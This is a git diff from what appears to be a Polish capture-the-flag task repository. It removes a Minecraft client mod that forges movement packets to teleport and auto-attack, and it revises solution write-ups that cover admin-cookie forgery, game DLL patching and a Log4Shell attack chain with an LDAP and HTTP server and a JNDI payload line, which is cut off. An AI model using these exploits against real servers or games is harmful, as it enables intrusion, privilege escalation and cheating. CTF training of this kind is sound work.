sendPosition(player, target); - player.setPos(target.x, target.y, target.z); - - Entity entity = findTarget(minecraft, target); - if (entity != null) { - minecraft.gameMode.attack(player, entity); - } - } - - private static Vec3 horizontalForward(LocalPlayer player) { - float radians = (float) Math.toRadians(player.getYRot()); - return new Vec3(-Math.sin(radians), 0, Math.cos(radians)).normalize(); - } - - private static Entity findTarget(Minecraft minecraft, Vec3 targetPosition) { - Entity closest = null; - double closestDistance = 36; - - for (Entity entity : minecraft.level.entitiesForRendering()) { - if (entity == minecraft.player || !entity.isAlive() || !entity.isAttackable()) continue; - - double distance = entity.distanceToSqr(targetPosition); - if (distance < closestDistance) { - closestDistance = distance; - closest = entity; - } - } - - return closest; - } - - private static void flushGroundTicks(LocalPlayer player) { - for (int i = 0; i < 18; i++) { - player.connection.send(new ServerboundMovePlayerPacket.StatusOnly(true, false)); - } - } - - private static void sendPosition(LocalPlayer player, Vec3 position) { - player.connection.send(new ServerboundMovePlayerPacket.Pos(position, true, false)); - } - - private static boolean isKPressed(Minecraft minecraft) { - try { - Class> glfw = Class.forName("org.lwjgl.glfw.GLFW"); - Method glfwGetKey = glfw.getMethod("glfwGetKey", long.class, int.class); - Object result = glfwGetKey.invoke(null, minecraft.getWindow().getWindow(), GLFW_KEY_K); - return result instanceof Integer keyState && keyState == GLFW_PRESS; - } catch (ReflectiveOperationException exception) { - System.out.println("Cannot access GLFW key state: " + exception.getClass().getSimpleName()); - return false; - } - } -} diff --git a/tasks/quick-heist/src/client/src/main/java/dev/norbiros/quickheist/QuickHeistClient.java b/tasks/quick-heist/src/client/src/main/java/dev/norbiros/quickheist/QuickHeistClient.java deleted file mode 100644 index dca6f875..00000000 --- a/tasks/quick-heist/src/client/src/main/java/dev/norbiros/quickheist/QuickHeistClient.java +++ /dev/null @@ -1,24 +0,0 @@ -package dev.norbiros.quickheist; - -import net.fabricmc.api.ClientModInitializer; -import net.minecraft.client.Minecraft; - -public class QuickHeistClient implements ClientModInitializer { - @Override - public void onInitializeClient() { - Thread thread = new Thread(() -> { - while (!Thread.currentThread().isInterrupted()) { - Minecraft minecraft = Minecraft.getInstance(); - if (minecraft != null) minecraft.execute(() -> HeistTeleport.tick(minecraft)); - - try { - Thread.sleep(50); - } catch (InterruptedException exception) { - Thread.currentThread().interrupt(); - } - } - }, "quick-heist-tp"); - thread.setDaemon(true); - thread.start(); - } -} diff --git a/tasks/quick-heist/src/client/src/main/resources/fabric.mod.json b/tasks/quick-heist/src/client/src/main/resources/fabric.mod.json deleted file mode 100644 index 032ffb86..00000000 --- a/tasks/quick-heist/src/client/src/main/resources/fabric.mod.json +++ /dev/null @@ -1,21 +0,0 @@ -{ - "schemaVersion": 1, - "id": "quickheist", - "version": "${version}", - "name": "Quick Heist Client", - "description": "Fabric client with the teleport exploit for Quick Heist.", - "authors": [ - "Norbiros" - ], - "environment": "client", - "entrypoints": { - "client": [ - "dev.norbiros.quickheist.QuickHeistClient" - ] - }, - "depends": { - "java": ">=21", - "minecraft": "${mc_version}", - "fabricloader": ">=0.19.2" - } -} diff --git a/tasks/quick-heist/tests/static/test_static.py b/tasks/quick-heist/tests/static/test_static.py deleted file mode 100644 index bdf07662..00000000 --- a/tasks/quick-heist/tests/static/test_static.py +++ /dev/null @@ -1,35 +0,0 @@ -from pathlib import Path - -import yaml - -from toolbox.utils.test_utils import load_flag_hash, validate_flag_hash - -task_path = Path(__file__).resolve().parents[2] -DOCKER_COMPOSE_PATH = task_path / "docker-compose.yaml" -FLAG_PREFIX = "hack4KrakCTF{" - - -def _extract_flag_from_compose() -> str: - content = DOCKER_COMPOSE_PATH.read_text(encoding="utf-8") - start = content.index(FLAG_PREFIX) - end = content.index("}", start) + 1 - return content[start:end] - - -def test_flag_hash_matches_compose_flag(): - flag = _extract_flag_from_compose() - inner = flag.removeprefix(FLAG_PREFIX).removesuffix("}") - flag_hash = load_flag_hash(task_path) - - assert flag_hash is not None - assert validate_flag_hash(inner, flag_hash) - - -def test_required_files_exist(): - for path in ["config.yaml", "description.md", "solution.md", "docker-compose.yaml"]: - assert (task_path / path).is_file(), f"Missing required file: {path}" - - -def test_config_id_matches_directory(): - config = yaml.safe_load((task_path / "config.yaml").read_text(encoding="utf-8")) - assert config["id"] == task_path.name diff --git a/tasks/rybulbol/solution.md b/tasks/rybulbol/solution.md index 4d9f8689..1111e251 100644 --- a/tasks/rybulbol/solution.md +++ b/tasks/rybulbol/solution.md @@ -1,8 +1,13 @@ ## Opis -Mamy tutaj doczynienia z grą, której nie da sie przejść +Mamy tutaj do czynienia z grą, której nie da się przejść. + +Aby otrzymać flagę, należy zajrzeć do kodu gry i go zmodyfikować, np. za pomocą narzędzia [dnSpy](https://github.com/dnSpy/dnSpy/releases/). ## Rozwiązanie -1. Otwieramy `rybulból_Data\Managed\Assembly-CSharp.dll` w jakims narzędziu do dekompilacji C# np. dnSpy -2. Czytamy source kod wnioskujemy co trzeba zmienić oraz patchujemy grę -3. Uruchamiamy grę i cieszymy się flagą + +1. Otwieramy `rybulból_Data\Managed\Assembly-CSharp.dll` w dnSpy. +2. Czytając kod, napotykamy zmienną o nietypowej nazwie. Jest ona obiektem `GameObject` i aktywuje się, gdy wynik osiągnie `-863437832`. +3. Modyfikujemy grę, aby aktywować tę zmienną. Po wejściu do gry ukazuje się flaga, ale gra od razu się zamyka. +4. Robimy zrzut ekranu albo odnajdujemy i modyfikujemy kod, który automatycznie zamyka grę, gdy `GameObject` z flagą jest aktywny. +5. Odczytujemy flagę z ekranu. diff --git a/tasks/session-snack/solution.md b/tasks/session-snack/solution.md index 484bf81f..2af6d8d1 100644 --- a/tasks/session-snack/solution.md +++ b/tasks/session-snack/solution.md @@ -18,14 +18,18 @@ Jest to klasyczny przykład błędu projektowego prowadzącego do łatwej eskala Po zalogowaniu się do systemu przy użyciu danych logowania z zadania otrzymujemy następujące cookie: -```eyJ1c2VybmFtZSI6ImthbmFyenljYV9oYWxpbmEiLCJpc0FkbWluIjpmYWxzZX0%3D``` +```text +eyJ1c2VybmFtZSI6ImthbmFyenljYV9oYWxpbmEiLCJpc0FkbWluIjpmYWxzZX0%3D +``` -Ze względu na standardy przesyłania danych w sieci (HTTP) cookie jest kodowane w +Ze względu na standardy przesyłania danych w sieci (HTTP) cookie jest kodowane w formacie URL, co oznacza że znak `=` jest przedstawiony jako `%3D` Po odkodowaniu URL otrzymujemy: -```eyJ1c2VybmFtZSI6ImthbmFyenljYV9oYWxpbmEiLCJpc0FkbWluIjpmYWxzZX0=``` +```text +eyJ1c2VybmFtZSI6ImthbmFyenljYV9oYWxpbmEiLCJpc0FkbWluIjpmYWxzZX0= +``` Następnie dekodujemy ten tekst za pomocą [Base64](https://en.wikipedia.org/wiki/Base64), co daje nam obiekt JSON: @@ -33,11 +37,13 @@ Następnie dekodujemy ten tekst za pomocą [Base64](https://en.wikipedia.org/wik {"username":"kanarzyca_halina","isAdmin":false} ``` -Teraz wystarczy zmienić wartość pola `isAdmin` na `true` i ponownie zakodować +Teraz wystarczy zmienić wartość pola `isAdmin` na `true` i ponownie zakodować dane w Base64 (w większości przeglądarek nie trzeba ponownie kodować URL) -```eyJ1c2VybmFtZSI6ImthbmFyenljYV9oYWxpbmEiLCJpc0FkbWluIjp0cnVlfQ==``` +``` +eyJ1c2VybmFtZSI6ImthbmFyenljYV9oYWxpbmEiLCJpc0FkbWluIjp0cnVlfQ== +``` -Po odświeżeniu strony z tym zmodyfikowanym cookie uzyskujemy dostęp do panelu +Po odświeżeniu strony z tym zmodyfikowanym cookie uzyskujemy dostęp do panelu administratora, gdzie znajduje się flaga zadania (na flagę należało zaczekać minutę -lub edytować plik JS). \ No newline at end of file +lub edytować plik JS). diff --git a/tasks/shadows-in-the-light/solution.md b/tasks/shadows-in-the-light/solution.md index f6689e51..2dd3bb89 100644 --- a/tasks/shadows-in-the-light/solution.md +++ b/tasks/shadows-in-the-light/solution.md @@ -26,6 +26,6 @@ Po otwarciu obrazu okazuje się, że został on zmodyfikowany — przedstawiona To jednak dopiero pierwszy etap zadania. Po dokładniejszym przyjrzeniu się szacie postaci można zauważyć ukrytą flagę z lekko zmodyfikowanymi kolorami. Zmieniając jasność, kontrast lub stosując prosty post-processing obrazu, można bez problemu odczytać jej treść. -## Informacje dodatkowe +### Informacje dodatkowe *Nikt wciąż nie zna prawdziwej historii Kościoła Mariackiego...* diff --git a/tasks/smog4shell/solution.md b/tasks/smog4shell/solution.md index 578ede99..6bc767cb 100644 --- a/tasks/smog4shell/solution.md +++ b/tasks/smog4shell/solution.md @@ -2,7 +2,8 @@ To zadanie było przykładem wykorzystania prawdziwej podatności z roku 2021, znanej jako `CVE-2021-44228`, a potocznie nazywanej „Log4Shell”. Log4Shell to krytyczna luka w bibliotece Log4j, która pozwala atakującemu na zdalne wykonanie kodu poprzez odpowiednio spreparowane dane logowania. -Umożliwia to atakującemu uzyskanie kontroli nad podatnym serwerem np. poprzez stworzenie połączenia reverse shell. +Umożliwia to atakującemu uzyskanie kontroli nad podatnym serwerem np. przez utworzenie połączenia zwrotnego (reverse shell). + ## Rozwiązanie Po wygenerowaniu swojej instancji zadania, należało zidentyfikować usługi sieciowe działające na serwerze. @@ -12,17 +13,19 @@ Na serwerze działała usługa HTTP na porcie 8983, która była Solrem 8.11.0 platformą do wyszukiwania i indeksowania danych, która korzystała z podatnej wersji Log4j. Podatność ta mogła zostać wykryta przy użyciu narzędzi takich jak [Metasploit Framework](https://www.metasploit.com/), a także poprzez podstawowy research w internecie. -Aby uzyskać dostęp do serwera należało wykorzystać podatność Log4Shell, wysyłając odpowiednio spreparowane żądanie HTTP do usługi Solr. +Aby uzyskać dostęp do serwera, można było wykorzystać podatność Log4Shell, wysyłając odpowiednio spreparowane żądanie HTTP do usługi Solr. + +Istniały również inne sposoby zdobycia flagi, które nie wymagały samodzielnego uruchamiania exploita Log4Shell. Poniżej opisano przykładowe rozwiązanie wykorzystujące tę podatność. -#### Koncept ataku +### Koncepcja ataku -1. Serwer LDAP (np. [marshalsec](https://github.com/mbechler/marshalsec)) uruchomiony lokalnie na porcie 1389, zwracający referencję do klasy JAVA na naszym serwerze HTTP. -2. Serwer HTTP (np. python3 -m http.server) uruchomiony lokalnie na porcie 8000, zwracający zainfekowaną klasę JAVA. -3. Wysyłamy żądanie HTTP do Solr na adres /solr/admin/cores jako atrybuty dodajemy ?cokolwiek=${jndi:ldap://